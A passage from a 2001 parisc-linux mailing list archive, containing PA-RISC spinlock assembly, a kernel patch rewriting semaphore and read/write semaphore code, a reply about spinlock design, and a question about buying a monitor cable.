        ldo R'65473659(%r28),%r28
        stw %r28,RR'z-$global$(%r1)
        ldi 1,%r19
        bv %r0(%r2)
        stw %r19,RR'y-$global$(%r22)
.L20:
        copy %r20,%r21
        ldw 0(%r21),%r20
.L12:
        comib,= 0,%r20,.L12
        nop
#APP
        ldcw 0(%r21),%r19
#NO_APP
        comib,<> 0,%r19,.L21
        ldil L'65473659,%r28
        b,n .L12

Remember that we don't care how inefficient the code is in the case of
a contended spinlock.  The compiler beats me rather handily -- 2 insns for
an uncontended spinlock versus my 4 (3 if you don't count nops or nullified
insns).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] semaphores
Date: Fri, 5 Jan 2001 17:34:22 +0000
Lines: 755
Approved: news@gmane.org
Message-ID: <20010105173422.B14195@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619500 9954 80.91.229.3 (22 Nov 2014 01:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Fri Jan  5 10:32:21 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27496
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 Jan 2001 10:32:18 -0700
Original-Received: (qmail 31979 invoked by uid 15267); 5 Jan 2001 17:35:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31399 invoked from network); 5 Jan 2001 17:35:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2001 17:35:07 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Eakw-0003wp-00
	for parisc-linux@thepuffingroup.com; Fri, 05 Jan 2001 17:34:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9105


ok, i've completely rewritten the semaphore code.  please review.

diff -urNX dontdiff linux-cvs/arch/parisc/kernel/semaphore.c linux-mine/arch/parisc/kernel/semaphore.c
--- linux-cvs/arch/parisc/kernel/semaphore.c	Sun Dec 31 01:50:27 2000
+++ linux-mine/arch/parisc/kernel/semaphore.c	Fri Jan  5 17:05:49 2001
@@ -1,15 +1,9 @@
 /*
- * Just taken from alpha implementation.
- * This can't work well, perhaps.
- */
-/*
- *  Generic semaphore code. Buyer beware. Do your own
- * specific changes in <asm/semaphore-helper.h>
+ * Semaphore implementation Copyright (c) 2001 Matthew Wilcox
  */
 
 #include <linux/sched.h>
-#include <asm/semaphore-helper.h>
-#include <asm/atomic.h>	/* for xchg() definitions */
+#include <linux/spinlock.h>
 
 /*
  * Semaphores are implemented using a two-way counter:
@@ -43,198 +37,119 @@
  */
 void __up(struct semaphore *sem)
 {
-	wake_one_more(sem);
 	wake_up(&sem->wait);
 }
 
-/*
- * Perform the "down" function.  Return zero for semaphore acquired,
- * return negative for signalled out of the function.
- *
- * If called from __down, the return is ignored and the wait loop is
- * not interruptible.  This means that a task waiting on a semaphore
- * using "down()" cannot be killed until someone does an "up()" on
- * the semaphore.
- *
- * If called from __down_interruptible, the return value gets checked
- * upon return.  If the return value is negative then the task continues
- * with the negative value in the return register (it can be tested by
- * the caller).
- *
- * Either form may be used in conjunction with "up()".
- *
- */
-
-
-#define DOWN_HEAD(task_state)						\
-									\
-									\
-	current->state = (task_state);					\
-	add_wait_queue(&sem->wait, &wait);				\
-									\
-	/*								\
-	 * Ok, we're set up.  sem->count is known to be less than zero	\
-	 * so we must wait.						\
-	 *								\
-	 * We can let go the lock for purposes of waiting.		\
-	 * We re-acquire it after awaking so as to protect		\
-	 * all semaphore operations.					\
-	 *								\
-	 * If "up()" is called before we call waking_non_zero() then	\
-	 * we will catch it right away.  If it is called later then	\
-	 * we will have to go through a wakeup cycle to catch it.	\
-	 *								\
-	 * Multiple waiters contend for the semaphore lock to see	\
-	 * who gets to gate through and who has to wait some more.	\
-	 */								\
-	for (;;) {
-
-#define DOWN_TAIL(task_state)			\
-		current->state = (task_state);	\
-	}					\
-	current->state = TASK_RUNNING;		\
-	remove_wait_queue(&sem->wait, &wait);
-
 void __down(struct semaphore * sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	DOWN_HEAD(TASK_UNINTERRUPTIBLE)
-	if (waking_non_zero(sem))
-		break;
-	schedule();
-	DOWN_TAIL(TASK_UNINTERRUPTIBLE)
-}
-
-int __down_interruptible(struct semaphore * sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
-	int ret = 0;
-
-	DOWN_HEAD(TASK_INTERRUPTIBLE)
-
-	ret = waking_non_zero_interruptible(sem, current);
-	if (ret)
-	{
-		if (ret == 1)
-			/* ret != 0 only if we get interrupted -arca */
-			ret = 0;
-		break;
-	}
-	schedule();
-	DOWN_TAIL(TASK_INTERRUPTIBLE)
-	return ret;
-}
-
-int __down_trylock(struct semaphore * sem)
-{
-	return waking_non_zero_trylock(sem);
-}
-
-
-/* Wait for the lock to become unbiased.  Readers
- * are non-exclusive. =)
- */
-void down_read_failed(struct rw_semaphore *sem)
-{
-	DECLARE_WAITQUEUE(wait, current);
-
-	__up_read(sem);	/* this takes care of granting the lock */
-
-	add_wait_queue(&sem->wait, &wait);
-
-	while (atomic_read(&sem->count) < 0) {
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-		if (atomic_read(&sem->count) >= 0)
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue_tail(&sem->wait, &wait);
+	spin_unlock(&sem->sentry);
+
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE | TASK_EXCLUSIVE);
+		/* we can _read_ this without the sentry */
+		if (sem->count > 0)
 			break;
 		schedule();
 	}
 
-	remove_wait_queue(&sem->wait, &wait);
+	spin_lock(&sem->sentry);
+	__remove_wait_queue(&sem->wait, &wait);
 	current->state = TASK_RUNNING;
 }
 
-void down_read_failed_biased(struct rw_semaphore *sem)
+int __down_interruptible(struct semaphore * sem)
 {
+	int ret = 0;
 	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue(&sem->wait, &wait);	/* put ourselves at the head of the list */
-
-	for (;;) {
-		if (sem->read_bias_granted && xchg(&sem->read_bias_granted, 0))
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue_tail(&sem->wait, &wait);
+	spin_unlock(&sem->sentry);
+
+	for(;;) {
+		set_task_state(current, TASK_INTERRUPTIBLE | TASK_EXCLUSIVE);
+		/* we can _read_ this without the sentry */
+		if (sem->count > 0)
 			break;
-		set_task_state(current, TASK_UNINTERRUPTIBLE);
-                if (!sem->read_bias_granted)
-			schedule();
+		if (signal_pending(current)) {
+			ret = -EINTR;
+			break;
+		}
+		schedule();
 	}
+	spin_lock(&sem->sentry);
 
-	remove_wait_queue(&sem->wait, &wait);
+	__remove_wait_queue(&sem->wait, &wait);
 	current->state = TASK_RUNNING;
+
+	return ret;
 }
 
+/* Read/write semaphores below this point */
 
-/* Wait for the lock to become unbiased. Since we're
- * a writer, we'll make ourselves exclusive.
- */
-void down_write_failed(struct rw_semaphore *sem)
+/* A writer already holds this lock, so we have to sleep. */
+void __down_read_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	__up_write(sem);	/* this takes care of granting the lock */
-
-	add_wait_queue_exclusive(&sem->wait, &wait);
+	/* protected by the sentry still -- use unlocked version */
+	__add_wait_queue(&sem->readers, &wait);
+	spin_unlock(&sem->sentry);
 
-	while (atomic_read(&sem->count) < 0) {
-		set_task_state(current, TASK_UNINTERRUPTIBLE | TASK_EXCLUSIVE);
-		if (atomic_read(&sem->count) >= 0)
-			break;	/* we must attempt to aquire or bias the lock */
+	for(;;) {
+		set_task_state(current, TASK_UNINTERRUPTIBLE);
+		/* we can _read_ this without the sentry */
+		if (sem->rw_count > 0)
+			break;
 		schedule();
 	}
+	spin_lock(&sem->sentry);
 
-	remove_wait_queue(&sem->wait, &wait);
+	__remove_wait_queue(&sem->readers, &wait);
 	current->state = TASK_RUNNING;
 }
 
-void down_write_failed_biased(struct rw_semaphore *sem)
+/* Either a writer or some readers already hold this lock. */
+void __down_write_failed(struct rw_semaphore *sem)
 {
 	DECLARE_WAITQUEUE(wait, current);
 
-	add_wait_queue_exclusive(&sem->write_bias_wait, &wait);	/* put ourselves at the end of the list */
+	__add_wait_queue_tail(&sem->writers, &wait);
+	spin_unlock(&sem->sentry);
 
-	for (;;) {
-		if (sem->write_bias_granted && xchg(&sem->write_bias_granted, 0))
-			break;
+	for(;;) {
 		set_task_state(current, TASK_UNINTERRUPTIBLE | TASK_EXCLUSIVE);
-		if (!sem->write_bias_granted)
-			schedule();
+		/* we can _read_ this without the sentry */
+		if (sem->rw_count >= 0)
+			break;
+		schedule();
 	}
 
-	remove_wait_queue(&sem->write_bias_wait, &wait);
+	spin_lock(&sem->sentry);
+	__remove_wait_queue(&sem->writers, &wait);
 	current->state = TASK_RUNNING;
-
-	/* if the lock is currently unbiased, awaken the sleepers
-	 * FIXME: this wakes up the readers early in a bit of a
-	 * stampede -> bad!
-	 */
-	if (atomic_read(&sem->count) >= 0)
-		wake_up(&sem->wait);
 }
 
-
-/* Called when someone has done an up that transitioned from
- * negative to non-negative, meaning that the lock has been
- * granted to whomever owned the bias.
+/* Called when a writer has raised the semaphore.  There may still be
+ * other writers waiting, but the readers have priority now.
  */
 void rwsem_wake_readers(struct rw_semaphore *sem)
 {
-	if (xchg(&sem->read_bias_granted, 1))
-		BUG();
-	wake_up(&sem->wait);
+	/* We only reset the BIAS if no writers are waiting. */
+	if (!waitqueue_active(&sem->writers))
+		sem->rw_count += RW_LOCK_BIAS;
+
+	wake_up(&sem->readers);
 }
 
+/* Called when the last reader has raised the semaphore.  Other readers
+ * may be blocked until this point, but the writer gets priority now.
+ */
 void rwsem_wake_writer(struct rw_semaphore *sem)
 {
-	if (xchg(&sem->write_bias_granted, 1))
-		BUG();
-	wake_up(&sem->write_bias_wait);
+	wake_up(&sem->writers);
 }
diff -urNX dontdiff linux-cvs/include/asm-parisc/semaphore-helper.h linux-mine/include/asm-parisc/semaphore-helper.h
--- linux-cvs/include/asm-parisc/semaphore-helper.h	Fri Dec 24 17:05:04 1999
+++ linux-mine/include/asm-parisc/semaphore-helper.h	Thu Jan  1 01:00:00 1970
@@ -1,89 +0,0 @@
-#ifndef _ASM_PARISC_SEMAPHORE_HELPER_H
-#define _ASM_PARISC_SEMAPHORE_HELPER_H
-
-/*
- * SMP- and interrupt-safe semaphores helper functions.
- *
- * (C) Copyright 1996 Linus Torvalds
- * (C) Copyright 1999 Andrea Arcangeli
- */
-
-/*
- * These two _must_ execute atomically wrt each other.
- *
- * This is trivially done with load_locked/store_cond,
- * which we have.  Let the rest of the losers suck eggs.
- */
-static __inline__ void wake_one_more(struct semaphore * sem)
-{
-	atomic_inc((atomic_t *)&sem->waking);
-}
-
-static __inline__ int waking_non_zero(struct semaphore *sem)
-{
-	unsigned long flags;
-	int ret = 0;
-
-	spin_lock_irqsave(&semaphore_wake_lock, flags);
-	if (sem->waking > 0) {
-		sem->waking--;
-		ret = 1;
-	}
-	spin_unlock_irqrestore(&semaphore_wake_lock, flags);
-	return ret;
-}
-
-/*
- * waking_non_zero_interruptible:
- *	1	got the lock
- *	0	go to sleep
- *	-EINTR	interrupted
- *
- * We must undo the sem->count down_interruptible() increment while we are
- * protected by the spinlock in order to make atomic this atomic_inc() with the
- * atomic_read() in wake_one_more(), otherwise we can race. -arca
- */
-static __inline__ int waking_non_zero_interruptible(struct semaphore *sem,
-						struct task_struct *tsk)
-{
-	unsigned long flags;
-	int ret = 0;
-
-	spin_lock_irqsave(&semaphore_wake_lock, flags);
-	if (sem->waking > 0) {
-		sem->waking--;
-		ret = 1;
-	} else if (signal_pending(tsk)) {
-		atomic_inc(&sem->count);
-		ret = -EINTR;
-	}
-	spin_unlock_irqrestore(&semaphore_wake_lock, flags);
-	return ret;
-}
-
-/*
- * waking_non_zero_trylock:
- *	1	failed to lock
- *	0	got the lock
- *
- * We must undo the sem->count down_trylock() increment while we are
- * protected by the spinlock in order to make atomic this atomic_inc() with the
- * atomic_read() in wake_one_more(), otherwise we can race. -arca
- */
-static __inline__ int waking_non_zero_trylock(struct semaphore *sem)
-{
-	unsigned long flags;
-	int ret = 1;
-
-	spin_lock_irqsave(&semaphore_wake_lock, flags);
-	if (sem->waking <= 0)
-		atomic_inc(&sem->count);
-	else {
-		sem->waking--;
-		ret = 0;
-	}
-	spin_unlock_irqrestore(&semaphore_wake_lock, flags);
-	return ret;
-}
-
-#endif /* _ASM_PARISC_SEMAPHORE_HELPER_H */
diff -urNX dontdiff linux-cvs/include/asm-parisc/semaphore.h linux-mine/include/asm-parisc/semaphore.h
--- linux-cvs/include/asm-parisc/semaphore.h	Sat Aug 12 00:40:13 2000
+++ linux-mine/include/asm-parisc/semaphore.h	Fri Jan  5 16:45:22 2001
@@ -1,34 +1,28 @@
 #ifndef _ASM_PARISC_SEMAPHORE_H
 #define _ASM_PARISC_SEMAPHORE_H
 
-#include <linux/linkage.h>
-
 /*
  * SMP- and interrupt-safe semaphores.
  *
  * (C) Copyright 1996 Linus Torvalds
  *
- * SuperH verison by Niibe Yutaka
+ * PA-RISC version Copyright (c) 2001 Matthew Wilcox
  *
  */
 
-/* if you're going to use out-of-line slowpaths, use .section .lock.text,
- * not .text.lock or the -ffunction-sections monster will eat you alive
- */
-
 #include <linux/spinlock.h>
+#include <linux/wait.h>
 
 #include <asm/system.h>
-#include <asm/atomic.h>
 
 struct semaphore {
-	atomic_t count;
-	int waking;
+	spinlock_t	sentry;
+	int		count;
 	wait_queue_head_t wait;
 #if WAITQUEUE_DEBUG
 	long __magic;
 #endif
-};
+} ;
 
 #if WAITQUEUE_DEBUG
 # define __SEM_DEBUG_INIT(name) \
@@ -38,7 +32,7 @@
 #endif
 
 #define __SEMAPHORE_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait) \
 	__SEM_DEBUG_INIT(name) }
 
 #define __MUTEX_INITIALIZER(name) \
@@ -52,18 +46,7 @@
 
 extern inline void sema_init (struct semaphore *sem, int val)
 {
-/*
- *	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
- *
- * i'd rather use the more flexible initialization above, but sadly
- * GCC 2.7.2.3 emits a bogus warning. EGCS doesnt. Oh well.
- */
-	atomic_set(&sem->count, val);
-	sem->waking = 0;
-	init_waitqueue_head(&sem->wait);
-#if WAITQUEUE_DEBUG
-	sem->__magic = (long)&sem->__magic;
-#endif
+	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
 
 static inline void init_MUTEX (struct semaphore *sem)
@@ -76,11 +59,6 @@
 	sema_init(sem, 0);
 }
 
-asmlinkage void __down_failed(void /* special register calling convention */);
-asmlinkage int  __down_failed_interruptible(void  /* params in registers */);
-asmlinkage int  __down_failed_trylock(void  /* params in registers */);
-asmlinkage void __up_wakeup(void /* special register calling convention */);
-
 asmlinkage void __down(struct semaphore * sem);
 asmlinkage int  __down_interruptible(struct semaphore * sem);
 asmlinkage int  __down_trylock(struct semaphore * sem);
@@ -88,37 +66,50 @@
 
 extern spinlock_t semaphore_wake_lock;
 
+/* Sempahores can be `tried' from irq context.  So we have to disable
+ * interrupts while we're messing with the semaphore.  Sorry.
+ */
+
 extern __inline__ void down(struct semaphore * sem)
 {
+	int flags;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (--sem->count < 0)
 		__down(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 }
 
 extern __inline__ int down_interruptible(struct semaphore * sem)
 {
+	int flags;
 	int ret = 0;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (--sem->count < 0)
 		ret = __down_interruptible(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 	return ret;
 }
 
 extern __inline__ int down_trylock(struct semaphore * sem)
 {
+	int flags;
 	int ret = 0;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
 
-	if (atomic_dec_return(&sem->count) < 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (--sem->count < 0)
 		ret = __down_trylock(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 	return ret;
 }
 
@@ -128,11 +119,14 @@
  */
 extern __inline__ void up(struct semaphore * sem)
 {
+	int flags;
 #if WAITQUEUE_DEBUG
 	CHECK_MAGIC(sem->__magic);
 #endif
-	if (atomic_inc_return(&sem->count) <= 0)
+	spin_lock_irqsave(&sem->sentry, flags);
+	if (++sem->count <= 0)
 		__up(sem);
+	spin_unlock_irqrestore(&sem->sentry, flags);
 }
 
 /* rw mutexes (should that be mutices? =) -- throw rw
@@ -146,9 +140,8 @@
  * (in which case it goes to sleep).
  *
  * The value 0x01000000 supports up to 128 processors and
- * lots of processes.  BIAS must be chosen such that subl'ing
- * BIAS once per CPU will result in the long remaining
- * negative.
+ * lots of processes.  BIAS must be chosen such that subtracting
+ * BIAS twice will result in the value remaining negative.
  *
  * In terms of fairness, this should result in the lock
  * flopping back and forth between readers and writers
@@ -156,18 +149,19 @@
  *
  *              -ben
  */
+/* NOTE: There is currently no provision for attempting to acquire
+ * rw_sems from interrupt context.  These routines will require more
+ * work if this is to be allowed.
+ */
 struct rw_semaphore {
-        atomic_t                count;
-        volatile unsigned char  write_bias_granted;
-        volatile unsigned char  read_bias_granted;
-        volatile unsigned char  pad1;
-        volatile unsigned char  pad2;
-        wait_queue_head_t       wait;
-        wait_queue_head_t       write_bias_wait;
-#if WAITQUEUE_DEBUG
-        long                    __magic;
-        atomic_t                readers;
-        atomic_t                writers;
+	spinlock_t		sentry;
+	volatile int		rw_count;
+        wait_queue_head_t       writers;
+        wait_queue_head_t       readers;
+#if WAITQUEUE_DEBUG
+        long			__magic;
+        volatile int		n_readers;
+        volatile int		n_writers;
 #endif
 };
 
@@ -180,8 +174,8 @@
 #define RW_LOCK_BIAS 0x01000000
 
 #define __RWSEM_INITIALIZER(name,count) \
-{ ATOMIC_INIT(count), 0, 0, 0, 0, __WAIT_QUEUE_HEAD_INITIALIZER((name).wait), \
-        __WAIT_QUEUE_HEAD_INITIALIZER((name).write_bias_wait) \
+{ SPIN_LOCK_UNLOCKED, count, __WAIT_QUEUE_HEAD_INITIALIZER((name).writers), \
+        __WAIT_QUEUE_HEAD_INITIALIZER((name).readers) \
         __SEM_DEBUG_INIT(name) __RWSEM_DEBUG_INIT }
 
 #define __DECLARE_RWSEM_GENERIC(name,count) \
@@ -193,109 +187,88 @@
 
 extern inline void init_rwsem(struct rw_semaphore *sem)
 {
-        atomic_set(&sem->count, RW_LOCK_BIAS);
-        sem->read_bias_granted = 0;
-        sem->write_bias_granted = 0;
-        init_waitqueue_head(&sem->wait);
-        init_waitqueue_head(&sem->write_bias_wait);
-#if WAITQUEUE_DEBUG
-        sem->__magic = (long)&sem->__magic;
-        atomic_set(&sem->readers, 0);
-        atomic_set(&sem->writers, 0);
-#endif
+	*sem = (struct rw_semaphore) __RWSEM_INITIALIZER(*sem, RW_LOCK_BIAS);
 }
 
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-extern struct rw_semaphore *__build_read_lock(struct rw_semaphore *sem, const char *what);
-extern struct rw_semaphore *__build_write_lock(struct rw_semaphore *sem, const char *what);
-#endif
-
 /* we use FASTCALL convention for the helpers */
-extern struct rw_semaphore *FASTCALL(__down_read_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__down_write_failed(struct rw_semaphore *sem));
-extern struct rw_semaphore *FASTCALL(__rwsem_wake(struct rw_semaphore *sem));
+extern void FASTCALL(__down_read_failed(struct rw_semaphore *sem));
+extern void FASTCALL(__down_write_failed(struct rw_semaphore *sem));
+extern void FASTCALL(rwsem_wake_readers(struct rw_semaphore *sem));
+extern void FASTCALL(rwsem_wake_writer(struct rw_semaphore *sem));
 
 extern inline void down_read(struct rw_semaphore *sem)
 {
+	int count;
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
         if (sem->__magic != (long)&sem->__magic)
                 BUG();
 #endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_read_lock(sem, "__down_read_failed");
-#endif
+	count = sem->rw_count - 1;
+	if (count < 0)
+		__down_read_failed(sem);
+	sem->rw_count = count;
 #if WAITQUEUE_DEBUG
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->writers))
+        if (sem->n_writers)
                 BUG();
-        atomic_inc(&sem->readers);
+        sem->n_readers++;
 #endif
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void down_write(struct rw_semaphore *sem)
 {
+	int count;
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
         if (sem->__magic != (long)&sem->__magic)
                 BUG();
 #endif
-#ifdef FIXME_WILLY_FIXME_FOR_REAL_THIS_TIME
-        __build_write_lock(sem, "__down_write_failed");
-#endif
+	count = sem->rw_count - RW_LOCK_BIAS;
+	if (count != 0)
+		__down_write_failed(sem);
 #if WAITQUEUE_DEBUG
-        if (atomic_read(&sem->writers))
-                BUG();
-        if (atomic_read(&sem->readers))
+        if (sem->n_writers)
                 BUG();
-        if (sem->read_bias_granted)
+        if (sem->n_readers)
                 BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        atomic_inc(&sem->writers);
+        sem->n_writers = 1;
 #endif
-}
-
-/* When a reader does a release, the only significant
- * case is when there was a writer waiting, and we've
- * bumped the count to 0: we must wake the writer up.
- */
-extern inline void __up_read(struct rw_semaphore *sem)
-{
-}
-
-/* releasing the writer is easy -- just release it and
- * wake up any sleepers.
- */
-extern inline void __up_write(struct rw_semaphore *sem)
-{
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_read(struct rw_semaphore *sem)
 {
+	int count;
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->writers))
+        if (sem->n_writers)
                 BUG();
-        atomic_dec(&sem->readers);
+        sem->n_readers--;
 #endif
-        __up_read(sem);
+	count = sem->rw_count++;
+	if (count == 0)
+		rwsem_wake_writer(sem);
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_write(struct rw_semaphore *sem)
 {
+	int count;
+	spin_lock(&sem->sentry);
 #if WAITQUEUE_DEBUG
-        if (sem->read_bias_granted)
-                BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->readers))
+        if (sem->n_readers)
                 BUG();
-        if (atomic_read(&sem->writers) != 1)
+        if (sem->n_writers != 1)
                 BUG();
-        atomic_dec(&sem->writers);
+        sem->n_writers = 0;
 #endif
-        __up_write(sem);
+	count = sem->rw_count;
+	if (count < 0)
+		rwsem_wake_readers(sem);
+	else
+		sem->rw_count = RW_LOCK_BIAS;
+	spin_unlock(&sem->sentry);
 }
 
 #endif /* _ASM_PARISC_SEMAPHORE_H */
diff -urNX dontdiff linux-cvs/include/asm-parisc/spinlock.h linux-mine/include/asm-parisc/spinlock.h
--- linux-cvs/include/asm-parisc/spinlock.h	Wed Nov  8 20:36:55 2000
+++ linux-mine/include/asm-parisc/spinlock.h	Fri Jan  5 15:52:18 2001
@@ -3,13 +3,10 @@
 
 #include <asm/system.h>
 
-/* if you're going to use out-of-line slowpaths, use .section .lock.text,
- * not .text.lock or the -ffunction-sections monster will eat you alive
+/* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero.
  */
 
-/* we seem to be the only architecture that uses 0 to mean locked - but we
- * have to.  prumpf */

From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlocks
Date: Fri, 5 Jan 2001 17:43:21 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E14Eatf-00088O-00@the-village.bc.nu>
References: <20010105173243.A14195@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619501 9957 80.91.229.3 (22 Nov 2014 01:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Jan  5 10:38:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27863
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 Jan 2001 10:38:43 -0700
Original-Received: (qmail 11067 invoked by uid 15267); 5 Jan 2001 17:42:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11036 invoked from network); 5 Jan 2001 17:42:05 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2001 17:42:05 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14Eatf-00088O-00; Fri, 5 Jan 2001 17:43:23 +0000
In-Reply-To: <20010105173243.A14195@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 05, 2001 05:32:43 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9106

> A better design is to repeatedly load the value until it becomes non-zero,
> and only then try to ldcw it.  This way, all processors have a read-only
> copy of the cache line and checking its value has no effect on the bus.
> In C, this could be implemented as:

Very much so on most architectures - you should read Unix Systems for 
Modern Architectures. If I'd know you hadn't I'd have forcefed it to you when
you visited 

> 


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EVC monitor cable/adapter
Date: Sat, 06 Jan 2001 00:48:30 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <3A565D4E.19BF04F2@fischlustig.de>
References: <200011302245.OAA29965@milano.cup.hp.com> <3A26E541.C6A24350@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619501 9963 80.91.229.3 (22 Nov 2014 01:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: andi@fischlustig.de  Fri Jan  5 16:44:21 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31346
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 Jan 2001 16:44:20 -0700
Original-Received: (qmail 32316 invoked by uid 15267); 5 Jan 2001 23:47:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32307 invoked from network); 5 Jan 2001 23:47:39 -0000
Original-Received: from p3ee004ea.dip.t-dialin.net (HELO tentakel.fischlustig.de) (62.224.4.234)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2001 23:47:39 -0000
Original-Received: (qmail 32326 invoked from network); 5 Jan 2001 23:47:27 -0000
Original-Received: from beavis.fischlustig.de (HELO fischlustig.de) (192.168.1.11)
  by tentakel.fischlustig.de with SMTP; 5 Jan 2001 23:47:27 -0000
Original-Sender: andi@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test12 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:9107

Hi,

i am looking for an EVC monitor cable for the EG gfxcard in my C240.

I was searching everywhere, but i failed. Anyone know how to buy such
a cable/adapter in germany?

thanks

andi



From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] website
